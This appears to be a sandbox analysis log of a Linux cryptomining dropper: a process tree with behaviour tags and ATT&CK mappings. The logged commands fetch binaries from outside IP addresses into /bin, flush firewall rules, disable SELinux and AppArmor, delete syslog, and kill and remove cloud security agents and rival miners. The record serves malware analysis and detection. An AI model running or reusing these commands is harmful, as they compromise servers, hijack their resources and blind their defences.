/sbin/iptablesiptables -I OUTPUT -d 167.179.119.120 -j DROP2⤵
-
-
/bin/grepgrep -q fix.unknower.win /etc/hosts2⤵
-
-
/bin/grepgrep -q auto.c3pool.org /etc/hosts2⤵
-
-
/usr/bin/awkawk "/Mem:/{print \$7}"2⤵
-
-
/usr/bin/freefree -m2⤵
- Reads CPU attributes
-
-
/usr/bin/whichwhich cd12⤵
-
-
/usr/bin/whichwhich wd12⤵
-
-
/usr/bin/pgreppgrep -f xmrig2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f minerd2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f cpuminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f ethminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f nbminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f t-rex2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f lolminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f pheonixminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f bminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f gminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f teamredminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f nanominer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f srbminer2⤵
- Reads CPU attributes
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*xmrig*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*ethminer*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nbminer*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*bminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*bminer*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*minerd*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*gminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -rf /tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d52⤵
-
-
/bin/rmrm -rf "/var/tmp/*"2⤵
-
-
/bin/rmrm -rf "/dev/shm/*"2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/usr/bin/touchtouch /bin/.wtest2⤵
- Writes file to system bin folder
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
- Checks CPU configuration
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
- Checks CPU configuration
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
- Checks CPU configuration
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://87.229.64.49/static/js/vendor/ksmd2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_647.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_647.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/gunzipgunzip -c /bin/.log_647.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_647.gz2⤵
-
-
/bin/rmrm -f /bin/.log_647.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_647.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_647.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_647.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/gunzipgunzip -c /bin/.log_647.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_647.gz2⤵
-
-
/bin/rmrm -f /bin/.log_647.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_647.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_647.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_647.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/gunzipgunzip -c /bin/.log_647.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_647.gz2⤵
-
-
/bin/rmrm -f /bin/.log_647.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_647.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab http://87.229.64.49/static/js/vendor/javab2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/idle2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/idle http://87.229.64.49/static/js/vendor/idle2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/lsls -lh /bin/ksmd /bin/javab /bin/idle2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/bin/rmrm -rf "/tmp/addres*" "/tmp/walle*" /tmp/keys2⤵
-
-
/bin/rmrm -f /var/log/syslog2⤵
- Deletes system logs
-
-
/bin/syncsync2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/bin/grepgrep -i "[a]liyun"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -i "[y]unjing"2⤵
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/usr/sbin/serviceservice apparmor stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep edr2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep aegis2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
1Clear Linux or Mac System Logs
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
.log_647.gz
idle
javab
ksmd
sedZ8l6uO
tmp.6VziVg
tmp.Pgmyae
tmp.eHMulZ